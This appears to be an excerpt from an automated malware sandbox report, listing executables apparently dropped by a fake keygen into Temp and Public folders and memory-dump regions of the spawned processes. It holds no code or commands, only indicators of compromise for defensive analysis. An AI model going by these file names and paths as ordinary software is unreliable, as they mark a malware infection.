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C:\Users\Public\ndf.exe

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\Users\Admin\AppData\Local\Temp\5A12.tmp\Keygen.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Public\ltr.exe

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\Users\Public\ltr.exe

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\Users\Public\mur.exe

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\Users\Public\mur.exe

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\Users\Public\ndf.exe

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memory/548-23-0x0000000000000000-mapping.dmp

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memory/548-138-0x0000000005840000-0x0000000005841000-memory.dmp

Filesize
4KB

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memory/548-77-0x0000000006380000-0x0000000006381000-memory.dmp

Filesize
4KB

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memory/548-132-0x0000000005830000-0x0000000005831000-memory.dmp

Filesize
4KB

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memory/548-70-0x0000000006470000-0x0000000006471000-memory.dmp

Filesize
4KB

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memory/548-103-0x00000000068D0000-0x00000000068D1000-memory.dmp

Filesize
4KB

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memory/548-82-0x0000000006500000-0x0000000006501000-memory.dmp

Filesize
4KB

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memory/548-36-0x0000000070AE0000-0x00000000711CE000-memory.dmp

Filesize
6.9MB

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memory/548-64-0x0000000005860000-0x0000000005861000-memory.dmp

Filesize
4KB

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memory/548-69-0x00000000058B0000-0x00000000058B1000-memory.dmp

Filesize
4KB

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memory/632-27-0x0000000000000000-mapping.dmp

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memory/784-18-0x0000000000000000-mapping.dmp

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memory/1040-35-0x0000000070AE0000-0x00000000711CE000-memory.dmp

Filesize
6.9MB

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memory/1040-38-0x0000000002550000-0x0000000002551000-memory.dmp

Filesize
4KB

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memory/1040-22-0x0000000000000000-mapping.dmp

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memory/1132-19-0x0000000000000000-mapping.dmp

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memory/1140-37-0x0000000070AE0000-0x00000000711CE000-memory.dmp

Filesize
6.9MB

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memory/1140-31-0x0000000000000000-mapping.dmp

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memory/1176-0-0x0000000000000000-mapping.dmp

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memory/1328-8-0x0000000000000000-mapping.dmp

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memory/1508-44-0x0000000004990000-0x0000000004991000-memory.dmp

Filesize
4KB

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memory/1508-30-0x0000000000000000-mapping.dmp

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memory/1508-34-0x0000000070AE0000-0x00000000711CE000-memory.dmp

Filesize
6.9MB

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memory/1556-4-0x0000000000000000-mapping.dmp

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memory/1556-5-0x0000000000000000-mapping.dmp

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memory/1800-11-0x0000000000000000-mapping.dmp

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memory/1808-10-0x0000000000000000-mapping.dmp

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memory/1860-21-0x0000000070AE0000-0x00000000711CE000-memory.dmp

Filesize
6.9MB

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memory/1860-13-0x0000000000000000-mapping.dmp

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memory/1860-56-0x0000000005480000-0x0000000005481000-memory.dmp

Filesize
4KB

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memory/1896-20-0x0000000070AE0000-0x00000000711CE000-memory.dmp

Filesize
6.9MB

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memory/1896-12-0x0000000000000000-mapping.dmp

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memory/1896-50-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

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memory/1976-16-0x0000000000000000-mapping.dmp

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memory/2012-29-0x0000000000000000-mapping.dmp

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memory/2472-136-0x0000000001180000-0x0000000001181000-memory.dmp

Filesize
4KB

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memory/2472-127-0x0000000070AE0000-0x00000000711CE000-memory.dmp

Filesize
6.9MB

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memory/2472-119-0x0000000000000000-mapping.dmp

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memory/2508-126-0x0000000000000000-mapping.dmp

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memory/2536-131-0x0000000000000000-mapping.dmp

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memory/2636-144-0x0000000000000000-mapping.dmp

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memory/2672-147-0x0000000000000000-mapping.dmp

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memory/2720-153-0x0000000000000000-mapping.dmp

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memory/2744-158-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2744-162-0x000000000043FCC3-mapping.dmp

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